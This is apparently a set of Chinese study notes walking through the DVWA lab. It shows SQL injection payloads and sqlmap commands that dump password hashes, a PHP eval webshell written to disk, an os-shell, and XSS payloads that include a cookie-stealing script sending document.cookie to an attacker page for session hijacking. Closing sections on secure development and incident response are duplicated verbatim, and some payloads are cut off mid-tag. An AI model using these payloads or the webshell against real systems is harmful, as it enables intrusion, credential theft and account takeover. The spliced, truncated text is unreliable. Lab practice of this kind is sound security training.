… where user_id = $id ——> … where user_id = 1 or 1024 = 1024
… where user_id = ‘$id’ ——> … where user_id = ‘1’ or ’1024’ = ‘1024’
… where user_id = “$id” ——> … where user_id = “1” or “1024” = “1024”
第一种没有注入成功:
第二种:
![image-20220720192139142](https://i-blog.csdnimg.cn/blog_migrate/75046745eeb6d498fef798389c541d2e.png)
这里执行成功,表示代表where语句已经被成功的or条件执行。
第三种也没有注入成功:
所以我们可以判断这里是用单引号对变量进行闭合的。
三种MySQL注释符
#(忽略) 单行注释,注意与url中的#区分,常编码成%23
-- (忽略) 单行注释,注意是短线短线空格
/*(忽略)*/ 多行注释,至少有两处输入,/**/注入中常用来作为空格
确定查询字段数
1’ order by 10#
![image-20220720193112877](https://i-blog.csdnimg.cn/blog_migrate/f66d1825c64a3a47e843c0f26444c749.png)
二分法继续查找:
![image-20220720193237723](https://i-blog.csdnimg.cn/blog_migrate/98efaaa1bc1b72f453b19af8f1b3732b.png)
![image-20220720193306573](https://i-blog.csdnimg.cn/blog_migrate/c2cb4b57835680aafa780701cb8ece21.png)
最终我们确定字段数为2.
判断回显点
id=xx’+union+select+1,2-+
![image-20220720193841051](https://i-blog.csdnimg.cn/blog_migrate/b405fc58be6c7745b88d6005ed31647a.png)
说明我们这里可以一下查询两个数字。
查询数据库信息
id=xx’+union+select+@@version,@@datadir–+
![image-20220720201642012](https://i-blog.csdnimg.cn/blog_migrate/6f665eb86311a8376ea6d010f4490f94.png)
version:数据库版本
datadir:数据库目录
查询用户名和数据库名
id=xx’+union+select+user(),+database()–+
![image-20220720201858412](https://i-blog.csdnimg.cn/blog_migrate/e9afa9d79fbd93affaafec8a1cbcb73a.png)
查询表面
id=xx’+union+select+1,table_name+from+information_schema.tables+where+table_schema=,dvwa’–+
![image-20220720202132955](https://i-blog.csdnimg.cn/blog_migrate/103bb100a289013458bae447bd89c2af.png)
我们可以查到两个表,一个是guestbook,一个是user。
查询列名
id=xx’+union+select+1,column_name+from+information_schema.columns+where+table_name=‘users’–+
我们发现这里有user和password这两个敏感信息,我们下一步就去查询他们。
查询用户名和密码
id=xx’+union+select+user,password+from+users–+
![image-20220720203207942](https://i-blog.csdnimg.cn/blog_migrate/5835aa87da684ac2c018f9783d9a03cf.png)
我们发现密码是一串哈希串,所以我们需要去获取明文密码。
这里我们不需要自己去查,借助cmd5网站的反查功能,很轻松就可以解决
![image-20220720203419200](https://i-blog.csdnimg.cn/blog_migrate/b866e6e1c63cd13fd2f05d9c15c922a4.png)
文件读取
id=xx’+union+select+1,load_file(“本地文件地址”)–+
![image-20220721100809279](https://i-blog.csdnimg.cn/blog_migrate/e58c9d781b2fa10d571aaee2ffa61c6f.png)
写webshell
PHP一句话木马:
<?php
@eval($——GET['cmd']);
?>
首先我们需要知道写入web目录的物理路径,我们采用的方法就是通过引发异常导致应用报错,报出物理路径。
![image-20220721101031450](https://i-blog.csdnimg.cn/blog_migrate/be2aca2bc3bf33852d5560c2769e694b.png)
select…into outfile…
?id=xx'+union+select+"<?php+@eval($_GET['cmd']);?>","webshell"+into+outfile+' C:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\cmd.php'--+
![image-20220721101523449](https://i-blog.csdnimg.cn/blog_migrate/28e0e2d700b17cabfacc9d7a01f39b20.png)
自动实战
sqlmap攻击
sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3”
执行slmap语句,查看注入类型。
![image-20220721151450541](https://i-blog.csdnimg.cn/blog_migrate/733d21c4654e0c948800277eb8a38382.png)
查看当前用户和数据名
sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3” --current-user --current-db
![image-20220721152558507](https://i-blog.csdnimg.cn/blog_migrate/454c713ecd8e4a0e3565cedcf5f19df6.png)
查看表
sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3” -D dvwa --tables
![image-20220721153421482](https://i-blog.csdnimg.cn/blog_migrate/29974400a82d7f8160573bd3237f483c.png)
查看列名(字段名)
sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3” -D dvwa --columns
![image-20220721153508375](https://i-blog.csdnimg.cn/blog_migrate/ee0decb84e542730bb12676e642dcf23.png)
查看用户名和密码
sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3” -D dvwa -T users -C user,password --dump
![image-20220721154945961](https://i-blog.csdnimg.cn/blog_migrate/928b676f8c1811fd385b3cc82c3a329f.png)
我们看到sqlmap它还支持自动破解MD5
获取webshell
sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3” -D dvwa -T users -C user,password --os-shell
输入物理路径,执行dir
![image-20220721162112795](https://i-blog.csdnimg.cn/blog_migrate/7b1ff9e355a89642efdee0fd2e0aff63.png)
Medium:
![image-20220721162255224](https://i-blog.csdnimg.cn/blog_migrate/c0f78edde4396ee7d80f92f53690c62f.png)
这里变为了下拉选择,我们无法输入进行修改了。但是我们可以用burp抓包修改。
![image-20220721162709217](https://i-blog.csdnimg.cn/blog_migrate/b3d19d338d7060ff0ebac92b4c6c888c.png)
我们抓到的包是这样的,我们可以在这里对id进行修改
修改为1’,发现报错了
这个错误的页面的意思是单引号被转译了。然后我们尝试双引号,发现也被转译了,最后我们尝试一下没有引号。
我们改为1 or 1=1
![image-20220721163148686](https://i-blog.csdnimg.cn/blog_migrate/e180998894cf8b630f85e236a0435206.png)
运行成功了。
medium注入技巧:在SQL注入遇到转义字符串的单引号或者双引号的情况下,我们可以使用HEX编码进行绕过。
High:
我们点击进来后,发现是一个超链接
![image-20220721163615761](https://i-blog.csdnimg.cn/blog_migrate/e09b21bac9310bbf415edeb50858bb58.png)
正常操作:
点击超链接进入,输入id查询,结果显示在原页面。
![image-20220721163713484](https://i-blog.csdnimg.cn/blog_migrate/b7d13d9e636c4b04b3ecdcef407f23aa.png)
我们尝试一下单引号,发现一下就注入了。同low相同。
![image-20220721163819986](https://i-blog.csdnimg.cn/blog_migrate/17b6399cca0dd07be4cbead82d9aa1a0.png)
但是high我们用sqlmap操作比较麻烦,因为注入的点和返回的点不在同一个页面,你用sqlmap直接跑你会发现跑不出来。
但是sqlmap有一个参数是可以支持指定返回的页面,它就是–second-order
Impossible:检测了id数据类型,使用了预编译绑定id变量,有效地防止了SQL注入
所以SQL注入漏洞最好的修复方法就是参数化SQL语句
SQL盲注
SQL盲注就是数据库的执行结果不会直接显示到页面上,页面只会显示真和假两种状态。
手工实战
我们选择low进入:输入1,提交,查询结果为真。
![image-20220721164840091](https://i-blog.csdnimg.cn/blog_migrate/d52bc7e90c16d6449a1f5539e58066c8.png)
输入-1,提交,查询结果为假。
![image-20220721164956753](https://i-blog.csdnimg.cn/blog_migrate/e3bf3923204146632cc13b4730c6eda5.png)
确定注入POC
-
1 and 1024=1025
我们发现查询结果为真,说明and后面假的语句没有插入进去,这里不存在注入漏洞
-
1‘ and ’1024‘=’1025
我们发现查询结果为假,所以这里就是使用单引号闭合的。
-
1” and “1024”=“1025
和第一个一样,不存在漏洞
盲注思路:1’ and 真 - - 1‘ and 假 - -
length(str) 获取字符串长度(字符串)
确定字符串长度:
1’ and length(database())>1 - -
1’ and length(database())>10 - -
然后使用二分法继续查询
substr(expression,start,length) 获取子字符串(原始字符串,字符串开始位置,子串长度)
ascii(string) 获取第一个字符的AASCII数值(字符串)
确定字符串内容(单字符ASCII码范围:0-127)
1’ and ascoo(substr(database(),1,1))>64 - - ——>64<char<127
继续使用二分法来确定,最终确定数据库名字为dvwa。
延时注入:
if(expr1,expr2,expr3) 如果expr1为真,返回expr2,否则返回expr3
sleep(N) 休眠(N秒)
1’ and sleep(if(length(database())=4,5,0))- -
benchmark(count,expr) 重复计算(次数为count,表达式)
1’ and benchmark(if(length(database())=4,5000000,0),md5(‘test’));- -
自动实战
sqlmap的使用基本和回显注入相同。
sqlmap有一个**-v**函数,用于输出详细的信息。-v 1表示输出最少,-v 6表示输出最多。
sqlmap.py -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” - -cookie=“security=low;PHPSESSID=qlt1hbm8aueds2lga6aehe87s0” - -current-db -v 3
学习sqlmap注入方法:
cast(expressuin as data_type) 数据类型转换(表达式as新的数据类型)
ifnull(expr1,expr2) 如果expr1是null,返回expr2,否则返回本身
mid(expression,start,length) 获取子字符串(原始字符串,子串开始位置,子串长度)
ord(string) 获取第一个字符的ASCII数值(字符串)
payload语句:1‘ AND ORD(MID((IFNULL(CAST(DATABASE()AS CHAR),0x20))1,1))>64 AND ‘kqKY’=‘kqKY’
Medium:
改包为1 and 1=2,结果为假。手工利用的方式和回显注入一样。
自动利用的我们尝试一下和回显注入差不多,只是提交的方式和注入的类型不同。
High:
尝试:1’ and ‘1’=’2’- - 结果为假。手工也是一样的。
自动注入使用sqlmap发现失效了,我们分析一下,是id不见了。我们发现id写在了cookie中然后去提交,流程发生了变化。
sqlmap命令:sqlmap.py -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” - -cookie=“security=high;PHPSESSID=qlt1hbm8aueds2lga6aehe87s0” - -level 2
成功搞定,剩下的就和之前一样了。
Impossible:检测了id数据类型,使用了预编译绑定id变量,有效地放置了SQL注入。
修复
参数化SQL语句,数据类型检测,用户输入过滤
XSS
Cros-site scripting 跨站脚本
XSS本质上是一种客户端代码注入漏洞,通常注入的代码是JavaScript。区别于命令注入,SQL注入等服务端代码注入。
存储,反射,DOM三种XSS区别:
- 存储型XSS:攻击代码在数据库里,输出在HTTP响应中
- 反射型XSS:攻击代码在URL里,输出在HTTP响应中
- DOM型XSS:攻击代码在URL里,输出在DOM节点中
登录dvwa,进入XSS(Reflected) 和 XSS(Stored)
反射型
选择安全等级low,输入xss,提交,显示
![image-20220721175614860](https://i-blog.csdnimg.cn/blog_migrate/a23dd1b6d5090a7eb866082e8697cf47.png)
输入< xss >标签,我们发现xss没有了
![image-20220721175709137](https://i-blog.csdnimg.cn/blog_migrate/a99e3f90d5a6194063b1d18a70764f0f.png)
![image-20220721180010457](https://i-blog.csdnimg.cn/blog_migrate/c9cfe4d662f04b17832958831113277d.png)
我们似乎可以注入标签。下面我们来进行弹窗测试,这是xss最普遍的测试和证明的方法,能弹窗就说明存在XSS。
我们来试一下浏览器能够识别的script标签
http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>
![image-20220721180333266](https://i-blog.csdnimg.cn/blog_migrate/29137670b471b6ba391d0ed91d41fcff.png)
我们可以看到我们已经成功注入了JS脚本,说明存在XSS漏洞。
![image-20220721180530532](https://i-blog.csdnimg.cn/blog_migrate/ada50966054d237025044616be185f59.png)
JavaScript弹窗函数:alert() confirm() prompt()
如果其中一个函数被过滤了我们可以尝试另外两个。
攻击思路:用户登录被攻击的web服务器,攻击者向用户发送url(包含攻击JS),用户访问攻击url,被攻击的web服务器会对攻击JS回应,用户浏览器执行JS脚本,在用户不知情的情况下发送用户凭证到攻击者的web服务器上,攻击者获取到这个信息,使用用户身份登录到被攻击的web服务器,这时攻击者就可以以用户的身份进行任意操作了。
攻击者web设计:
-
新建一个cookie.php文件,内容为
<?php $cookie=$_GET['cookie']; file_put_contents('cookie.txt, $cookie'); ?>
-
构造攻击js
<script>document.location= 'http://127.0.0.1/cookie.php? cookie='+document.cookie; </script>
-
构造并发送攻击url
http://10.240.138.212/DVWA-1.9/vulnerabilities/xss_r/name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
这样的访问并不会成功,我们还需要对url进行编码(URLencode)
-
获得cookie
用户点击后,我们的cookie.txt就有内容了
security=low; PHPSESSID=tkgm1hqifl8du9rdkdge7ba0c2
-
劫持会话
攻击者访问dvwa网站,修改cookie为获取到的cookie值。随后直接访问dvwa的index.php,成功的以admin的身份进入。
Medium:
low方法已经失效了
![image-20220721185110510](https://i-blog.csdnimg.cn/blog_migrate/6b07894308a1cc05cca66af0b08ae0e7.png)
信息表面过滤了script标签。
我们尝试使用<scr
High:
用low和medium的方法都是失效的,所以我们要想其他方法。能够执行js脚本的标签还有:
<img>标签,也可以插入XSS代码。输入<img src=x onerror=alert(1)>,成功注入JavaScript。说明服务端只是过滤了script标签。
<iframe>标签 <iframe onload=alert(1)>,成功注入JavaScript
Impossible:
![image-20220721190042079](https://i-blog.csdnimg.cn/blog_migrate/c7ce1dba17ddd493067cc9cc758b41cb.png)
htmlspecialchars——>可以编码& “ ‘ < > 为 & " ' < >
在这个参数中默认是不编码单引号的,要加上ENT_QUOTES参数才会编码。
存储型
Low
进行存储型XSS尝试的时候,遇到的第一个问题就是限制了输入长度,XSS代码输不完整。
![image-20220721190826373](https://i-blog.csdnimg.cn/blog_migrate/ae5d8af6a5ac6eb50f2e83231f7a452d.png)
通过查看源代码,我们可以发现其对字数进行了限制。我们可以直接在这里将数值大小进行修改,绕过限制。
![image-20220721191208686](https://i-blog.csdnimg.cn/blog_migrate/a06394ce1c6b465515c1bca76bb6991c.png)
Medium
既然是删除式过滤,常规思路可以尝试以下大小写绕过,双写绕过之类的,不行的话试试没有script的payload。
这次我们还是使用双写绕过。<scrip
成功弹框
High
<img src=x onerror=alert(1)>
弹窗成功
Impossible:
mysql_real_escape_string函数会对引号进行转移,防止SQL注入
修复
输入过滤:不提倡黑名单,推荐白名单,数据要在服务端限制
输出过滤:HTML编码,JS转移
WEB安全体系建设
了解企业体系安全建设,才能更好的挖掘到有价值的漏洞。
对企业来说,攻防成本是不对等的。
知攻知防,建设安全体系。
SDL介绍
SDL是什么?
安全开发生产周期(Security Development Lifecycle),SDL从源头降低安全风险,符合Secure at the Source的战略思想,是微软提出的从安全角度指导软件开发过程的管理模式。SDL不是一个空想的理论模型。它是微软为了面对现实世界中安全挑战,在实践中的一步步发展起来的模式。
为什么要用SDL?
- 提升web应用的安全性:减少web应用的安全漏洞
- 降低安全漏洞修复成本:美国国家标准与技术研究所(NIST)估计,如果项目在发布后再执行漏洞修复计划,其修复成本相当于在设计阶段执行修复的30倍
SDL流程由哪几个阶段组成?
培训——需求——设计——实施——验证——发布——响应
SDL流程在每个阶段需要我们做什么事?
- 培训:核心安全培训
- 需求:安全需求分析,质量要求/BUG数量要求,安全和隐私风险评估
- 设计:设计需求分析,减小攻击面
- 实施:使用指定工具,弃用不安全函数,静态分析
- 验证:动态分析,模糊测试,威胁模型和攻击面评析
- 发布:事件响应计划,最终安全评析,发布存档
- 响应
漏洞和事件处理
安全漏洞不等于安全事件。存在安全漏洞不一定会被利用,安全漏洞只是客观存在的弱点。而安全事件是已经发生的,并且已经对企业造成了一定的影响和损失的事实。并且安全事件也不一定是安全漏洞造成的,比如人为的操作失误和机房断电等问题造成的。
企业如何发现安全问题?
- 安全需求分析(项目初期接入,提前发现安全问题):使用web框架和语言的选型建议,敏感信息如密码的保存方案,是否有上传功能…
- 安全扫描(通过扫描器发现安全问题,自动化,周期性):安全工程师必备技能
- 安全测试(发现安全问题的主要方式,包括白盒测试和黑盒测试,通常以黑盒测试为主):安全工程师的必备技能
- 入侵检测(项目上线之后进行监控,包含多种检测方式,通过监控入侵行为发现安全问题)
- 日志分析(项目上线之后分析日志,通过分析日志发现安全问题):常见模式有 可疑日志+人工分析,可疑日志+扫描器
- 建立SRC(安全应急响应中心,Security Reponse Center,通过安全爱好者发现安全问题)
- 与漏洞搜集平台合作(借助漏洞平台的力量和影响力,通过漏洞平台发现安全问题)
- 其他渠道(黑产卧底,和国家执法部门合作…)
如何处理安全问题?
- 防御:
- 输入检查
- 在服务端检查
- 数据合法性校验:类型,长度,范围
- 尽可能使用”白名单“
- 输出检查
- 在数据输出的点,也需要做一定特定的过滤和转译,比如XSS,输出到HTML标签时就需要进行HTML编码。
- 针对性防御
- 针对特定安全漏洞的利用方式,有特定的防御策略,比如重要的cookie设置为httponly,这样使用XSS就获取不到该cookie。
- WAF
- web应用防火墙,能够拦截攻击,如针对SQL注入,XSS和远程代码执行等漏洞进行的攻击。
- 输入检查
- 修复:
- 漏洞知识库
- 提供详细的漏洞说明和修复方案
- 修复方案需要可落地执行:结合公司的开发框架:框架,语言。包含各种框架,语言的修复方案。
- 漏洞修复周期
- 漏洞修复需要有时间限制,根据漏洞危害等级限定漏洞修复周期,如严重漏洞需要在24小时内修复。
- 漏洞复查
- 漏洞修复后需要安全团队复查,和业务方和开发方充分沟通
- 漏洞知识库
企业如何处理安全事件?
- 安全事件分类
- 入侵事件
- 攻击事件
- 信息泄露事件
- 安全事件分级
- 每个公司都有自己的安全事件分级标准,一般分为高危事件,中危事件和低危事件
- 建立流程(安全事件响应流程)
- 事件确认
- 由产品方,安全方确认安全事件的真实性,必要时需要和运维,公关,法务等其他团队共同确认。
- 事件汇报
- 通知到事件相关的部门负责人
- 根据事件等级额外通知对应的负责人。比如高危事件:需要通知到一级部门负责人
- 事件处理
- 成立安全应急小组
- 应急方案确定
- 应急方案执行
- 事件恢复
- 归档和复盘
- 事件处理过程需要详细记录,归档
- 对事件进行复盘
- 事件确认
安全运营概述
安全是一个过程,需要持续的运营。
安全运营有哪些工作?
发现和修复安全问题
防御体系建设和快速响应攻击
SDL推动
如何落地?
- 对内工作
- 安全扫描(周期性):定期检测保障安全
- 安全漏洞预警:关注重大漏洞和事件,提前部署防御方案,提前提供解决方案
- 应急响应
- 安全监控与入侵检测:通过监控发现安全问题,及时响应和处理
- 对外工作
- 建立外部沟通渠道和流程:提供统一对外沟通的邮件,IM工具。提供安全相关的沟通群。提供外部反馈问题的网站。
- 安全圈关系:了解著名的安全公司和安全圈子,积极参加安全会议,积极融入安全圈,进行合作。
- 品牌建设
- 参加安全会议
- 举办安全会议
- 打造安全产品
- 成立安全实验室
S转移
WEB安全体系建设
了解企业体系安全建设,才能更好的挖掘到有价值的漏洞。
对企业来说,攻防成本是不对等的。
知攻知防,建设安全体系。
SDL介绍
SDL是什么?
安全开发生产周期(Security Development Lifecycle),SDL从源头降低安全风险,符合Secure at the Source的战略思想,是微软提出的从安全角度指导软件开发过程的管理模式。SDL不是一个空想的理论模型。它是微软为了面对现实世界中安全挑战,在实践中的一步步发展起来的模式。
为什么要用SDL?
- 提升web应用的安全性:减少web应用的安全漏洞
- 降低安全漏洞修复成本:美国国家标准与技术研究所(NIST)估计,如果项目在发布后再执行漏洞修复计划,其修复成本相当于在设计阶段执行修复的30倍
SDL流程由哪几个阶段组成?
培训——需求——设计——实施——验证——发布——响应
SDL流程在每个阶段需要我们做什么事?
- 培训:核心安全培训
- 需求:安全需求分析,质量要求/BUG数量要求,安全和隐私风险评估
- 设计:设计需求分析,减小攻击面
- 实施:使用指定工具,弃用不安全函数,静态分析
- 验证:动态分析,模糊测试,威胁模型和攻击面评析
- 发布:事件响应计划,最终安全评析,发布存档
- 响应
漏洞和事件处理
安全漏洞不等于安全事件。存在安全漏洞不一定会被利用,安全漏洞只是客观存在的弱点。而安全事件是已经发生的,并且已经对企业造成了一定的影响和损失的事实。并且安全事件也不一定是安全漏洞造成的,比如人为的操作失误和机房断电等问题造成的。
企业如何发现安全问题?
- 安全需求分析(项目初期接入,提前发现安全问题):使用web框架和语言的选型建议,敏感信息如密码的保存方案,是否有上传功能…
- 安全扫描(通过扫描器发现安全问题,自动化,周期性):安全工程师必备技能
- 安全测试(发现安全问题的主要方式,包括白盒测试和黑盒测试,通常以黑盒测试为主):安全工程师的必备技能
- 入侵检测(项目上线之后进行监控,包含多种检测方式,通过监控入侵行为发现安全问题)
- 日志分析(项目上线之后分析日志,通过分析日志发现安全问题):常见模式有 可疑日志+人工分析,可疑日志+扫描器
- 建立SRC(安全应急响应中心,Security Reponse Center,通过安全爱好者发现安全问题)
- 与漏洞搜集平台合作(借助漏洞平台的力量和影响力,通过漏洞平台发现安全问题)
- 其他渠道(黑产卧底,和国家执法部门合作…)
如何处理安全问题?
- 防御:
- 输入检查
- 在服务端检查
- 数据合法性校验:类型,长度,范围
- 尽可能使用”白名单“
- 输出检查
- 在数据输出的点,也需要做一定特定的过滤和转译,比如XSS,输出到HTML标签时就需要进行HTML编码。
- 针对性防御
- 针对特定安全漏洞的利用方式,有特定的防御策略,比如重要的cookie设置为httponly,这样使用XSS就获取不到该cookie。
- WAF
- web应用防火墙,能够拦截攻击,如针对SQL注入,XSS和远程代码执行等漏洞进行的攻击。
- 输入检查
- 修复:
- 漏洞知识库
- 提供详细的漏洞说明和修复方案
- 修复方案需要可落地执行:结合公司的开发框架:框架,语言。包含各种框架,语言的修复方案。
- 漏洞修复周期
- 漏洞修复需要有时间限制,根据漏洞危害等级限定漏洞修复周期,如严重漏洞需要在24小时内修复。
- 漏洞复查
- 漏洞修复后需要安全团队复查,和业务方和开发方充分沟通
- 漏洞知识库
企业如何处理安全事件?
- 安全事件分类
- 入侵事件
- 攻击事件
- 信息泄露事件
- 安全事件分级
- 每个公司都有自己的安全事件分级标准,一般分为高危事件,中危事件和低危事件
- 建立流程(安全事件响应流程)
- 事件确认
- 由产品方,安全方确认安全事件的真实性,必要时需要和运维,公关,法务等其他团队共同确认。
- 事件汇报
- 通知到事件相关的部门负责人
- 根据事件等级额外通知对应的负责人。比如高危事件:需要通知到一级部门负责人
- 事件处理
- 成立安全应急小组
- 应急方案确定
- 应急方案执行
- 事件恢复
- 归档和复盘
- 事件处理过程需要详细记录,归档
- 对事件进行复盘
- 事件确认
安全运营概述
安全是一个过程,需要持续的运营。
安全运营有哪些工作?
发现和修复安全问题
防御体系建设和快速响应攻击
SDL推动
如何落地?
- 对内工作
- 安全扫描(周期性):定期检测保障安全
- 安全漏洞预警:关注重大漏洞和事件,提前部署防御方案,提前提供解决方案
- 应急响应
- 安全监控与入侵检测:通过监控发现安全问题,及时响应和处理
- 对外工作
- 建立外部沟通渠道和流程:提供统一对外沟通的邮件,IM工具。提供安全相关的沟通群。提供外部反馈问题的网站。
- 安全圈关系:了解著名的安全公司和安全圈子,积极参加安全会议,积极融入安全圈,进行合作。
- 品牌建设
- 参加安全会议
- 举办安全会议
- 打造安全产品
- 成立安全实验室